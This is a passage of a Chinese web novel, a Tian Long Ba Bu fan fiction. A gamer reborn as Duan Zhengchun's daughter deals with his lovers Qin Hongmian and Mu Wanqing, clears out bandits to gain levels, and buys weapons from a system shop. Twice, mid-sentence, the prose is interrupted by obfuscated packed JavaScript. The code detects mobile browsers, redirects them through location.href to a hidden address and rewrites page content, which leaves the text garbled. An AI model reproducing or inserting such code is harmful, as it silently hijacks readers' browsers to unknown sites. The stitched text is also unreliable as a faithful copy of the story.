而如今,段昭昭尚且还年幼,却因再次受他牵连被人刺杀,那样有情有义的母女,也差点因为他命丧黄泉,虽身为皇亲贵胄,行事却不乏江湖做派的段正淳哪里受得住这个,自然是愧疚万分。 段昭昭眨了眨眼睛,想要逼出几滴泪,好让自己显得更可怜一些,但没有成功,她着实不是个多擅长演戏的人。 最后她只能板着一张脸道,“爹爹别担心,我无事。爹爹一路疾驰,渴不渴?要不要喝点茶水,这些茶都是慈姑和阿星她们自己摘炒的,若是知晓爹爹饮了她们炒的茶,她们一定很高兴。慈姑和阿星一直记得爹爹当年剿匪之恩。” 段昭昭虽不会演戏,却知道怎么戳段正淳的软肋,让段正淳不将这事大事化小小事化了。 果不其然,段正淳面上愧色更甚,他看过信,自然是知晓慈姑和阿星是谁,“是我对不住她们,她们是我大理百姓,有情有义,今因我之过,连累她们至此,原是我对不起他们,哪里能配得起她们的感念?” “哼!”段正淳的话音才落,不远处便传来一声冷冷的“哼”声,这听着虽说是冷哼,但段昭昭却发现,秦红棉如今的冷哼可比之前段正淳不在的时候要夹得多,这哪里是冷哼,这分明是娇嗔。 秦红棉思念段正淳,嘴上说着哼,心头却是爱得不行,见段正淳来了之后,只顾着段昭昭,没有问她,哪里忍得住,当即便发出一声冷哼,只是她多年未见段正淳,心中柔情百转,这冷哼也变成了娇嗔。 段正淳循声望去,见到那故作孤傲不在意的秦红棉,浑身一颤,不由几步上前,痴痴地望着她,“红棉,红棉,果真是你,我早该想到,这几年来,我...我想你想得好苦啊!” 段正淳见了秦红棉,人便丢了两魂,一副情难自抑的模样,令段昭昭在心中啧啧称奇。据她所知,段正淳这些年去中原公干的时候,红颜知己并不少,有没有想起秦红棉不好说,可如今一见面一副情深不移的模样,段昭昭着实不明白,但要说段正淳说谎也不尽然,毕竟他对秦红棉是真爱,虽然他有很多真爱就是了。 “你住嘴,你这般负心薄情之人,你所说的我一个字我也不会信!”话是这么说着,秦红棉却不由向段正淳的方向走了几步,好看清段正淳此时的模样。 “红棉,我所说一切皆为真,你恨我也罢,要杀我也好,我便站在这,任由你打杀,只有一样不行,你不可让我不想你,若是让我不想你,我宁愿受那千刀万剐之痛。” 段昭昭听到这番表白,差点没有忍住自己,翻一个大大的白眼,这样的鬼话,说出来有人信?真的油! 然而,秦红棉信了,她情不自禁地又上前了两步,就在段昭昭以为秦红棉要和段正淳来一个深情拥抱的时候,只听“啪”地一声,秦红棉抬手便是一个耳光打在了段正淳的脸上。 段正淳挨了一个耳光,却也不气,他牵起秦红棉的手放在了自己的心上,“红棉,你打我也好,骂我也好,我却只想让你知晓我对你的想念,你听,我的心在想你。” 段昭昭这下是真的没撑住,侧过脸去,翻了一个大大的白眼。 秦红棉却很吃这招,两行热泪顺着粉白的面庞的脸滚了下去,“你真的无时无刻不在想我?” “自然,若我有一句假话,便叫我——” 他的话未说完,便被秦红棉抬手堵住了,“不许说这种晦气话,你这样想我,那便随我走好不好,以后我再也不打你骂你,对你千依百顺,带着咱们的女儿,我们一起过一辈子,你瞧,我们的婉儿,多可爱的孩子。” 段正淳顺着秦红棉的目光看去,便看到一张苍白的小脸,木婉清手足无措地坐在那里,到底是自己的女儿,段正淳看着母女俩相似的面庞,心中又怜又爱,一个“好”字几乎脱口而出。 “爹爹,你还饮茶吗?”实在是看不下去的段昭昭出声打断了两人的缠绵悱恻。 段正淳听见段昭昭这句话,脑子瞬间清醒,从爱恨痴缠中醒了过来,向后退了两步,对秦红棉道,“红棉,日后的打算咱们日后再谈,如今有一桩要紧事还需要先处理。” 秦红棉大怒,一巴掌又打在了段正淳的脸上,“你有什么要紧事?是要去寻哪个女人?刀白凤还是那个姓王的?” “红棉,你实在是误会我了,我要寻之人,便是在此处。”段正淳幽幽叹了一口气,说起了慈姑与阿星之事,“因我之故,连累她母女二人,千错万错便都是我之错,我为大理镇南王,自然是要给她们一个交代。” “交代,你要怎么给她们一个交代?莫不是要将我和婉儿打杀了去?” “红棉,伤人者虽是你与婉儿,可这罪魁祸首却是我,说到底,一切皆因我对不住你们母女,才有今日之祸,理应我给她们一个交代。” 段正淳说完,也不再看秦红棉,令士兵将自己带去慈姑和阿星休息的地方。 慈姑和阿星都是普通人,没有内力傍身,如今正在屋中休息,早就听见外头乱糟糟一团,又见一锦袍男子走 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秦红棉见段正淳面露痛苦愧疚之色,忽的一个转身,对着慈姑和阿星跪了下来,又勒令随行而来的木婉清,“婉儿,跪下,给两位磕头赔罪。”说罢,率先对着二人磕了一头。 木婉清虽不知为何,却也十分听秦红棉的话,对着慈姑和阿星跪下,磕了一个响头。 “使不得使不得。”慈姑想要起身阻止,可这一动又牵扯到她的伤口。 段昭昭见状,立刻上前制止住了她,“慈姑,你莫要动,小心伤口裂开。” 秦红棉磕了头谢罪,从段正淳手中抢过那支匕首,对着自己的左胸便又是一刀,“今日种种,皆是我之过,我害您二位中了两箭,如今便也还你二位两刀。” 秦红棉虽是孤傲狠辣之人,却是爱惨了段正淳,见段正淳为了她的所作所为,替她受过,那些恨便好似清晨的薄雾一般散去,心中更是甜蜜不已。 段正淳深知秦红棉的本性脾气,秦红棉并非是真的知道错了,会有这般磕头谢罪不过是因为爱他罢了,见秦红棉为他做到如此地步,自然是感动不已,“红棉。” 两人深情对望,可慈姑与阿星却是又惊又恐,她们未曾想到,段正淳竟然会自伤以向她们谢罪,只觉得段正淳果真如传闻中那样英明神武,却也恐惧段正淳这般行为,这可是堂堂镇南王,伤她们之人更是镇南王的亲眷,她们哪里受得起这般大礼? 段昭昭看了看惊恐的慈姑与阿星,又看了看深情对望的秦红棉与段正淳,没觉得感动,只觉得荒诞。 实在是看不下去的她开口道,“爹爹,您二位先去处理一下伤势吧,女儿也好替慈姑瞧瞧伤口,方才慈姑激动,伤口定然是裂开了。” 段正淳老脸一红,道,“昭儿所言极是,务必要用最好的药,不能让慈姑和阿星留下隐患。” “嗯....” 13.段氏13 “你在做什么?” 段昭昭替慈姑和阿星重新上了药,又安慰了两人一番,让她们不必太为段正淳和秦红棉的那些行为惊慌失措,叮嘱两人好生休息后,便准备出来同段正淳告别,好带人赶路去剿匪,毕竟升级可是大事,千万不能耽搁。 结果一出来,压根没有瞧见段正淳,秦红棉也不在,两人估计找了个四下无人的地方“诉衷肠”呢。 段昭昭只能看见朱丹臣站在那一脸愁容,而他的目光所落处正是木婉清,木婉清蹲在一旁,嘀嘀咕咕的,嘴唇微动却没有发出什么声音。 此时日头虽不似之前那样大,却依旧很热,木婉清一身黑,头上没有个遮掩,想来只会更热,可她似乎感觉不到一般,蹲在那里,用手指时不时地戳一下面前的地。 “你的伤口裂开了。” 段昭昭扫了一眼木婉清,木婉清身上用来包扎伤口的黑布条已然洇出一团团深色,应该是方才拉扯间伤口裂了开来。这伤口处理得本就粗糙,就连包扎的黑布条也是秦红棉自己从衣服上撕下的。 “我在同它说话。”木婉清的两颊被热出了红晕,汗珠顺着脸颊落在了地上,嘴唇却白得不见一丝血色,她头也没有抬,依旧全神贯注地盯着那只小小的蚂蚁,模样看起来有些呆,完全看不出来她出手时的狠辣果决。 段昭昭在她的身前蹲了下来,也看着那只蚂蚁,“你盯着它做什么?” “什么都不做。” 段昭昭没能搞懂木婉清的想法,毕竟虽然外表八岁半,但实际上却是一位平均游戏年龄三十二岁的玩家,她一把握住了木婉清的手腕,轻轻一个用力,就将木婉清拉了起来,“什么都不做就去上药,伤口裂开了不疼吗?” “疼....” “疼你怎么不说?” “疼为什么要说?”木婉清眨了眨眼睛,一脸的迷茫,她似乎在疑惑段昭昭为什么要说这么一句废话。 段昭昭一下就被哽住了,她方才见慈姑和阿星受伤,对木婉清很是不喜,厌恶木婉清的狠辣,可是现在看着懵懂的木婉清,她只想唾弃段正淳,都是段正淳造的孽! 段昭昭在编造自己的身世时,一定程度参考了木婉清。 木婉清才是真正地跟着自家亲娘在深山长大的那一个,甚至她一直以为自己是孤儿,秦红棉因为段正淳的抛弃,脾气阴晴不定,从不见男人,亦不许木婉清对其他男人露出面容,她将对段正淳的爱与恨都转嫁到了这个女儿的身上。 秦红棉爱这个女儿,却也恨这个女儿,所以木婉清才会说出“疼为什么要说”这样的话,在她的认知中,疼就是疼,自己忍着,说出来是没有用的。 段昭昭想到了木婉清的成长经历,越发觉得段正淳是真的造孽,段正淳虽说对她很好,可是不妨碍段昭昭此时唾弃段正淳的渣。 “你吃不吃糖?”段昭昭将腰间的荷包解下递给了木婉清,“里头有松仁糖,你上药的时候,要是疼就吃一颗。” 木婉清就像一个好奇宝宝,她拿起荷包嗅了嗅,不解问道,“疼为什么要吃糖?” 段昭昭麻利地替木婉清将那些缠绕的黑布条松开,她虽然不会医术,但是伤口包扎还是学过的,只是没有什么实战经验,“因为甜食能够让人心情好,吃着东西也能够转移注意力,我没替人包扎过伤口,我来包扎还是我喊窦大夫替你包扎?” 黑布条取下后,露出了木婉清的伤口,金疮药粉被血凝成了小块,随着黑布条取下散落四周,只剩一些混着鲜血凝在伤口周围,看着有些埋汰。 木婉清没忍住诱惑,从荷包中取出一颗松仁糖,塞进了嘴里,眼睛顿时就亮了起来,她试探性地咬了咬嘴里的拇指大小的松仁糖,咔嚓一声,松仁糖成了两半,嘴里甜滋滋的,还有松仁的香味儿,从未吃过这样的糖果,木婉清一直没有什么表情的脸上不由露出了笑容。 她忙不迭地又给自己塞了一颗松仁糖,这才道,“我不要别人,我就要你。” 在木婉清心中,虽说段昭昭才打过她,让她中了小箭,可是对于木婉清而言,段昭昭会问她疼不疼,会担心她疼给她那么好吃的松仁糖,那么段昭昭就是好人,她第一次遇到这么关心她的人,所以,她只要段昭昭给她包扎。 “行,不过我事先声明,我真的没有经验,待会儿疼你要和我说,我知道后会小心尽量轻一点的,知道吗?”段昭昭不自觉地用上了哄孩子的语气,她一直走的都是一心向武不关注旁事的天才少女的人设,可是面对外表年龄比她大,但因为真的在深山中长大,什么都不懂的木婉清,没能再绷不住自己的人设。 木婉清咔吱咔吱地嚼着松仁糖,含糊不清地应了一声,“好”。 段昭昭按照自己所学的替木婉清清洗伤口,木婉清疼得浑身一颤,身体都紧绷了,却一言不发,依旧在那咔吱咔吱地嚼着松仁糖,段昭昭只能开口问她一些话,分散她的注意力。 “你之前住在哪里?” “住在山里,和我师父....娘亲....”木婉清犹豫地改了口,她也是今日才知道原来她的师父就是她的娘亲,不过这对她来说区别不大。 “你在山上做什么?” “练武。” “除了练武呢?” 木婉清嚼着糖思考了一下,说道,“看花看鱼还有学着识字写字。” “你没有下过山吗?” “没有,这是我第一次下山呢。”木婉清说到这,语气变得雀跃起来,“山下真大!有好多好多我没有见过的东西。” 段昭昭的手微顿,轻轻吐出一口气,她忍住自己骂人的冲动,“那你和你阿娘为什么要下山来杀我?” “阿娘收到师叔的信,很生气,便下山了,说是要杀了你。” 木婉清口中的师叔,便是有俏夜叉之称的甘宝宝,也是段正淳的情人,她与段正淳还有一个女儿,名唤钟灵。段昭昭想起在剧情中,甘宝宝也是这样,给秦红棉写了 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木婉清露出了属于十一岁小姑娘的活泼,细数着段昭昭的“好”,听得段昭昭心里一阵窒息,最后各种复杂的情绪只化作了一个想法——段正淳,造孽啊! 段昭昭不知道说些什么,她将木婉清的伤口包扎好后,又解下了一个荷包给木婉清,“松仁糖是硬糖,这是橘子糖,是软糖,你要不要尝尝。” “好!”木婉清脆生生地应了一声,解开荷包,她好奇地拿起一颗橘子糖,好奇的捏了捏,发现真的是软的后,十分高兴的塞进嘴里,嚼了嚼,“这个也好吃~” “嗯....你坐在这好好休息,别乱跑,免得待会儿伤口又裂开了,我去寻爹爹。” “...好”木婉清愣了一下,却还是应了下来,只是在段昭昭要走的时候,忽然伸手拽住了段昭昭的衣袖,“你还会回来吗?” 就外表而言,十一岁的木婉清要比八岁半的段昭昭大,可如今她却依赖着段昭昭,像一个年幼的妹妹依赖着年长可靠的姐姐。 段昭昭看着木婉清那双盈满了忐忑的眼睛,又想叹气了,“会回来的,别怕。” “你一定要回来哦,你要是不回来,我就杀了你。”木婉清十分认真地强调道,“我真的会杀了你的。” “你打不过我,而且我只是出去找个人而已,不要一副生离死别的样子啊。”段昭昭真的克制不住自己的吐槽欲了,她抬手敲了一下木婉清的脑袋,板着脸警告道,“以后不许动不动就杀人,也不能挂在嘴上,再这么说,我就把你的糖都给没收了!” 木婉清警惕地攥紧了装着糖的两个荷包,撇撇嘴,不说话,一副拒不合作的模样。 段昭昭没再说其他的,起身要去寻段正淳,待走出了十来尺后,朱丹臣这才靠过来,“我还是第一次见到小郡主这般活泼呢。” 段昭昭:..... 你知不知道你现在真的很像那些说着“已经很久没有看到少爷如此开心地笑了”的管家。 14.段氏14 段昭昭在外头转了好几圈,都没能见到段正淳,她转头看向朱丹臣,朱丹臣却后退几步,连声道,“臣还有些要事要处理——” 朱丹臣的话没说完,人就不见了,看得出来,他是真的很害怕段昭昭问他段正淳在哪里了。 既然如此.... 段昭昭运起内力,双手作喇叭状,放在嘴边,确保声音能够扩大,而后.... "爹,爹,你在哪里,爹!" 还未变声的童声本就穿透力极强,再附以内力,更是强得没边,惊起林中飞鸟阵阵。 段昭昭穿越后,虽然武学招式只能用系统的,系统提供的武学招式能够发挥出最大的威力,用她在此世界学会的招式就会极大地耗费内力,但是没关系,不学这个世界的武功,对内力的各种妙用还是能够学学的。 譬如用内力扩音就是她学习成果之一,还有什么真气外放,形成护身真气,然后下雨天都不用打伞,这种没有什么用处,但格调很高的装x小技巧。 段昭昭只觉得自己的这声堪比狮子吼,无论段正淳在做什么都应该能够听见了。 事实也是如此,不过一盏茶的时间,段正淳便匆匆赶来了,秦红棉紧随其后,两人的衣服扣子都错位了也没有发现,更离谱的是他们的身后还有拿着极宽黄色布料的士兵。 这一刻,段昭昭忽然就想起了自己小时候看过的电视剧——“宝日啊,你可是强X了朕,是死罪啊!” 好家伙,这两人将木婉清搁在那里,自己在这玩起了以天为被地为庐了。 努力绷住自己的面皮,假装没发现两人到底干了什么,摆出小孩子专用的纯洁表情,“爹爹你去哪里了,我正四处寻你呢。” 段正淳尴尬地笑了笑,转移话题道,“昭儿寻爹爹可有何事?” “天色已经不早了,女儿要赶路呢,否则就来不及到驿站,今晚只能露宿野外了,特意来向爹爹辞别,还想请爹爹寻人好生照料慈姑和阿星。” “今日你还要赶路?何必这样匆忙?”段正淳没想到段昭昭才遭遇了刺杀不仅没有害怕,还打算继续赶路。 段昭昭蹙了蹙眉,一脸的不赞同,“我早一日赶到将匪患清除,当地的百姓便早一日安心,何必耽搁?” 段正淳长叹一口气,摸了摸段昭昭的脑袋,“昭儿侠义,为父远不如你矣,你且去吧,路上小心。” “爹爹也多加保重。”段昭昭拱手辞别段正淳,却不期然地扫到了他身边的秦红棉,只见正含情脉脉注视着段正淳,眼中春波荡漾,顿时心中一哽,这两人真是.... 想起可怜巴巴的木婉清,她又道,“对了爹爹,婉儿姐姐的伤口裂开了,我替她重新包扎过,待会儿您请了大夫再为她看一次,今日婉儿姐姐吃了不少糖,晚间睡觉时,记得看着婉儿姐姐,让她刷牙。” 段昭昭提起木婉清,眼睛却不住地去看秦红棉,却见秦红棉没有什么反应,一双眼睛好似黏在了段正淳身上一般,看得段昭昭的火气噌噌往上涨。 “好,爹爹记住了,昭儿果真是个好孩子。”段正淳一脸的骄傲,今日木婉清和秦红棉才刺杀了段昭昭,可段昭昭作为比木婉清更小的妹妹却还记得木婉清,关心木婉清,这让他十分骄傲,这孩子,善啊! “爹爹会好好照顾婉儿的。” 段昭昭看着段正淳和秦红棉,只觉得腻歪得紧,眼睛疼,也不欲再耽搁了,匆匆离开去寻木婉清了。 木婉清见到段昭昭很是高兴,甜甜蜜蜜地说道,“你来啦。” “嗯,我说会回来就会回来,我不会骗你的。”段昭昭看见木婉清眼巴巴的模样,脑袋有些疼了,她知道木婉清舍不得自己,不过她要去剿匪升级,这是最要紧的事情,可不能耽搁,“我要去剿匪——” 她的话未说完,木婉清忽的一个巴掌就扇了过来,却被段昭昭握住手腕制止了,“你打我耳光干什么?”段昭昭有些恼火,话说得好好的,忽然扇她耳光干什么?这什么毛病啊? “你要走?你要抛弃我?” 木婉清泪盈于睫,段昭昭听得头皮发麻,她都要幻视自己是负心汉了,拜托她才八岁半呢,“捏疼你没?”段昭昭替木婉清揉了揉手腕,努力平复自己的心情,告诉自己,别和一个没有受过教育的小孩子生气,“我不是抛弃你,我是有正事要去做,我最多两三天就回来了。” “真的?” “真的!” “那我要和你去!”木婉清咬了咬唇,一脸的倔强。 段昭昭知道,她这是第一次下山,第一次遇到年龄相似还关心她的人,估计有些雏鸟情结,心软了几分,开始哄小孩,“要是平常你和我去便去了,可是你才受了伤,你的伤口刚刚才重新包扎过,包扎的时候很疼对不对,下次伤好了一定啊。” 木婉清闻言,顿时破涕为笑,“你在心疼我?” “当然啦,你是我的姐妹,我自然是心疼你的。” 木婉清弯了弯眼睛,应道,“那我在这等你,我会好好养伤的。”她一脸的乖巧,丝毫不见方才一言不合就要扇人耳光的模样。 段昭昭心中松了一口气,面上却板着脸,“以后有什么话都好好说,不能动不动就扇人耳光,更不能随便就对人动手杀人,知道吗?要是被我发现,以后都不给你糖吃了。” 段昭昭用出了恐吓小孩子的招数去吓木婉清,谁料木婉清听了以后却是眼睛一亮,“你以后还要给我送糖?” “嗯,以后你想吃糖尽管来找我,不过也不能多吃,吃多了牙疼,今晚睡前,你记得好生刷牙。” “好~我都听你的。”木婉清握住段昭昭的手,“我等你。” 段昭昭被她一连叮嘱几句,全都应下,眼见再不走就来不及了,也不敢再耽搁,喊上了朱丹臣,召集齐士兵,翻身上马,一路疾驰,终于在太阳彻底下山之前赶到了驿站。 梳洗休整了一夜,次日天一亮便继续赶路,一路疾驰,终于在傍晚时分抵达了目的地。当地县令以及段正淳安排的人早就在这等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387903|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候多时,见到段昭昭一群人连忙涌了上来。 “参见郡主,郡主千岁。” “不必多礼,那盗匪在何处?”段昭昭压根就没有打算休息,她有内力护体,稍稍调息后就能够恢复状态,便决定速战速决,天知道这么拖下去会不会出什么意外。 段昭昭的外表虽年幼,可名声极大,县令也不敢糊弄她,详细地将那群盗匪的信息一一说来。 只是在说完后,不由又道,“郡主赶路辛苦了,属下已经备好了蜜水和菜品,郡主不若先用些晚膳,待休整好后,明日再议?” “有劳杨大人了,先上饭食,只是这休整就不必了,未免夜长梦多,今晚便永绝后患吧。”段昭昭在赶路前才用过餐食,并不算特别饿,但是她不饿,跟着她奔波的士兵一定饿了,段昭昭便准备先用膳,不过这升级还是得今天升级的,今天必须把匪给剿了! 杨县令见段昭昭意已决不敢再劝,令人将早就备好的饭食端了上来,又忙去点了许多好手,以求定好护好段昭昭的安全。 段昭昭却没有打算搞什么群攻,虽然她这次来剿匪带了不少骑兵,还有朱丹臣这个高手,可实际上,她是准备自己上的,这些人都是为她掠阵的,自己独斗,经验更高,段昭昭决定单刷。 待段昭昭将自己的想法告诉朱丹臣,朱丹臣反对的话还没有说出口,就听段昭昭道,“朱四哥,我虽小,却也知道自己想要的是什么,若想追求天下第一的武艺,哪里能够一直躲在他人庇佑之下,若是合群力攻之,又岂有我出手的机会?还请朱四哥助我一次。” 段昭昭也算是朱丹臣看着长大的,素来乖巧懂事,虽一心沉迷于武艺之中,待他却一直极为有礼,如今见段昭昭这般恳求,哪里忍得下心来拒绝,只能道,“若是稍有不对,臣会立即出手。” 朱丹臣预演了许多次段昭昭遭遇危险他理应如何救段昭昭出水火时的场景,然而这些一个都没有用上,段昭昭解决那些盗匪十分的干脆利落。 升级之后,段昭昭如今一阳指体系和聘风令体系的招式已然全部解锁,聘风令体系可是有群攻的!打这些不过二十多级的匪贼那叫一个手到擒来,骤风令加抟风令再配上一个劈风令足以让段昭昭站在二十尺外就将一群人给解决了。 甚至连他们射出的箭矢都被那风给卷回去了,看得掠阵的朱丹臣一愣一愣的,最后只能摇着扇子道,“郡主的武功又精进了。” 朱丹臣没有想到段昭昭的武功会进步得这样快,如今不过八岁多,却有了江湖中三流高手的实力,着实令他吃惊。 段昭昭笑了笑,作谦虚状,并不多言,一来是她其实并不擅长面对他人的夸赞,二来是她的系统刚刚给她解锁了商店,这商店中的商品可以用侠义值购买,商品和游戏中的差不多,有校服套,当然更重要的是,这一版的侠义值商店还能够买武器。 这个版本的侠义值商店中可是有他山月的!而且还是正版!看得段昭昭十分眼红,没有一个段氏能够拒绝他山月!没有一个! 15.段氏15 侠义值商店中的他山月与游戏里的他山月并不同,侠义值商店中的他山月的使用等级是70级,但段昭昭注意到了三个黄色小字的备注——可升级。 段氏作为一个新门派,并不似老门派那样拥有70到130的大橙武,只有120级的他山月,以及130的伏龙阳焰,按照游戏里的设定,这把他山月买了之后,应该可以升级到120级。 升级的条件还没有出来,估计要等到她八十级的时候商店才会刷新,但是不管什么条件,估计都和侠义值挂钩,所以,如今她要做的就是到处刷侠义值。 一下子,段昭昭动力十足,仿佛又回到了赛季初。攒侠义,买装备!打本!打本! “朱四哥,有劳你替我留意一下各地的匪患宵小,我无甚实战经验,还须多加练习。”和游戏里有固定本不同,这里可没有什么本,因而只能够自己去寻找“副本”开打。 朱丹臣想起段昭昭三扇子送走所有盗匪的模样,沉默了一瞬,从某方面而言,这的确没能有什么实战经验的提升,因为不过三招就将所有人都秒了,压根没有对战,自然也不会有对战经验,“小郡主有此心是好事,臣一定竭尽所能。” 朱丹臣应了下来,众人便返回驿站休息,次日段昭昭便马不停蹄地开始往回赶,接下来的一段时间中,她要疯狂攒侠义值。 此次剿匪得了1200点的侠义值,和一个周常十人本的侠义值相当,一把他山月需要十二万的侠义值,但侠义值商店刚开,通通一折起,折扣时间维持一个月。也就是说,接下来一个月段昭昭需要尽量多地攒侠义值,好兑换出一套装备来。 段昭昭一心想要刷侠义,准备回到大理城后就直奔皇宫请段正明帮忙,却不料还未至大理城就被人拦下了,拦下她的不是别人,正是刀白凤的人。 没办法,段昭昭只能兵分两路,先去拜访刀白凤,临行前,她还不忘叮嘱朱丹臣道,“朱四哥,我近日心有所悟,需要更多的实战经验助我悟招,还请朱四哥替我转告伯父。” “小郡主放心,臣一定将话带到。”朱丹臣没有想到段昭昭又悟出了新的招式,毕竟他记得分明,在和那群盗匪的对战中,段昭昭才用出了新招式,如今又有所获,作为习武之人,朱丹臣深知这番机缘有多难得,不敢耽搁,策马疾驰至大理城中,将一切告知段正明。 而段昭昭则跟着刀白凤的人来到了玉虚观中,下了马便去正殿拜访刀白凤,虽然还没有见到人,但是她已经猜到了刀白凤是为了什么了,除了段正淳,不作他想。 果不其然,刀白凤一见段昭昭便问道,“修罗刀来寻他了?”第二句又道,“你可有受伤?” “您放心,我无事。至于修罗刀...的确有个名为秦红棉的女子来刺杀女儿,只是被女儿和朱四哥联手擒下了。” 刀白凤欲言又止,她似乎想问什么,又不知怎么开口。 段昭昭见她这番模样,还有什么不明白,连忙开口道,“那修罗刀出手狠辣,视我大理百姓于无物,伯父绝不会认可这样的女子。” 段正明算是个仁慈的皇帝,虽说他一心修佛练武,但心中记挂着大理的百姓,就慈姑和阿星的事情传入宫中,只要段正淳还是大理的镇南王,秦红棉就绝不可能有什么名分。 刀白凤顿时面露喜色,她虽说对段正淳的风流恨极,独居这玉虚观,可她从来就没有放下过段正淳,只是到底拉不下颜面去询问一二,只能从段昭昭这里旁敲侧击。 她从袖中取出两封信交给了段昭昭,“这两封信,一封替我交给你伯父,一封替我交给你伯母。” 段昭昭接了下来后,刀白凤再度开启那欲言又止的状态,这下段昭昭是真的有些麻了。她现在有种新赛季要开荒可亲友要死情缘拉着她哭诉,她气得要8渣男结果两人和好了的无力感。她真的只想开荒啊,不想去猜对方到底想说什么。 倒也不是段昭昭冷漠,而是段昭昭很清楚,哪怕关系再亲密,也不要试图去共情恋爱脑,更不要试图给恋爱脑什么建议,否则一定会气死的。 半晌,刀白凤终于开口了,“以后,如果他的那些义女们敢欺负你,你莫要怕,尽管来找我,我替你做主。” 这句话差点没有把段昭昭的cpu给干烧了,她不确定地问道,“义女们?爹爹何时多了这么多义女?” “呵!”刀白凤冷笑道,“谁知道他为什么会有这么多的女儿?那些女人会放过这么好的一个机会?让她们尽管来便是了,真以为有了女儿就能成为王妃了!” 段昭昭无言,她感觉自己似乎来到了什么狗血八点档的频道,宫心计的味儿特别足,刀白凤这一句话中信息量很大的感觉。 临走前,刀白凤给了段昭昭一匣子的金子,反复叮嘱段昭昭莫要被那群义女欺负了。段昭昭感觉她的话外音是让段昭昭若是被这些义女们的娘亲欺了一定要闹出来。 唉...脑袋疼.... 段昭昭并不知道她脑袋疼的事情还在后头,她从玉虚观离开后,便直奔皇宫。 皇宫中段正明知晓段昭昭最近在悟新招式,需要大量的对敌经验,在段昭昭和刀白凤谈话时,他便已经为段昭昭准备好了各地的匪盗贼寇,都不是什么成气候的势力,宛若芥藓之疾一般,非常适合给段昭昭练手之用。 “昭儿,伯父还为你准备了一支百人的骑兵,皆是军中精锐之士,有他们护卫你左右,能确保你安危无虞。日后他们便是昭儿的昭字军了。” “多谢伯父!” 段昭昭没有想到自己还有独属于自己的军队了,毕竟如今护卫她的骑兵虽然打着“昭”字旗,但实际上却是归属于镇南王的,可现在,她拥有了一支完全属于她自己的军队,还都是精锐之士。 段昭昭敏锐地感觉到了不对劲,仰头看向段正明问道,“伯父这样也是担心我会被欺负吗?” “唉...”段正明叹了一口气,摸了摸段昭昭的脑袋道,“你爹爹这一次太不像话了一些,昭儿你且放心,这镇南王郡主只有你一人,你出城时,去一趟玉虚观,莫要让你干娘担忧你。” 段昭昭明白了,有段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394767|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正明出手,段正淳哪怕有很多的女儿,可这些女儿连“段”这个姓氏都不会有,更别说她们的娘要进镇南王府了。其中的弯弯绕绕段昭昭没有搞懂,但结果就是这么一个结果,她很疑惑,段正淳的那些情人们在知道这个结果后,还会舍得和女儿分开,将女儿送到镇南王府来吗? “昭妹,昭妹。” 段昭昭刚回到镇南王府就看到段誉疾步而来,只是他没有走几步,就被人抓住后领向后一扯给制止了脚步。 “我说了!不许你这么唤她!你走远一点!”抓住段誉衣领的不是别人,正是木婉清,木婉清气急了,扬起手来又准备扇段誉耳光了,可是在看到段昭昭后,想起段昭昭的话,到底是放下了手来。 她自己将段誉扯丢掉后方,自己却快步走向了段昭昭,“昭妹,你回来啦!” 木婉清笑得天真明媚,一脸的灿烂。 段誉被她扔摔在地却也不在意,自己拍拍身子站了起来,继续高高兴兴地同段昭昭打招呼,“昭妹,这次出门可有什么好玩的?” “没什么好玩的,不过那里木雕不错,我给你和婉姐都带了些,请朱四哥先送回府了,你们可喜欢。” “喜欢极了!”段誉凑了上来,“线条流畅,古朴又有意趣,我很是喜爱,日后我要令人将它摆在床头,每日醒来只要瞧见它,便会想起昭妹,这一日的心情便一定会好极了。” 段誉稳定发挥,依旧是那么的嘴甜,相较于他,木婉清就显得有些笨嘴拙舌了,她绞尽脑汁想要说出什么好听的话,可是她并没有这样的经历,只能愤愤地踩了段誉一脚,段誉顿时疼得龇牙咧嘴的,却还是道,“这荷花绣鞋配婉妹真是极为合适,最衬婉妹的脚了。” 段昭昭:.... 段誉以后有那么多的红颜知己真就太正常了....真就和段正淳一个德行。 木婉清却毫无所觉,在段昭昭的眼神扫过来的时候,连忙道,“我没有扇他耳光,也没有杀他,我有听你的话!”木婉清说完,脸上甚至有种求表扬的表情。 “婉姐真好。”段昭昭敷衍了一句。 木婉清却十分高兴,拉着段昭昭的手,甜甜蜜蜜地一起去花厅用膳,晚间还要和段昭昭一道入睡。她笑得一直很甜,直到第二日知道段昭昭又要出门,脸才垮了下来,但还是一副我很听话的模样,只是待段昭昭走后段誉的脚却遭了殃。 段誉被踩得吱哇乱叫却不在意,毕竟木婉清与他年纪相仿,又生得这般好看,被木婉清把脚踩肿了他心里头都还是甜蜜的。 而另一边,段昭昭已经开启了开荒模式,完全沉浸在刷侠义值中不知天地为何物,不是在刷侠义值,就是在去刷侠义值的路上,就这样,她终于成功买下了商店里70级的他山月,甚至还趁着优惠将段氏的入门套全都拿下。 装备一起,再用技能,效果立刻就不一样了,如果说原先的一阳指尚且还在低画质版本,只有一点点特效,如今段昭昭的一阳指都快要赶上宣传pv里的效果了,这哪里是一阳指,这分明就是超电磁炮啊! 16.段氏16 “昭儿这功夫着实长进了许多。”段正明勉强维持住了自己面上的表情,好让自己不至于太过惊讶,但即便是这样,他垂在身侧的手,依旧微微颤抖着。 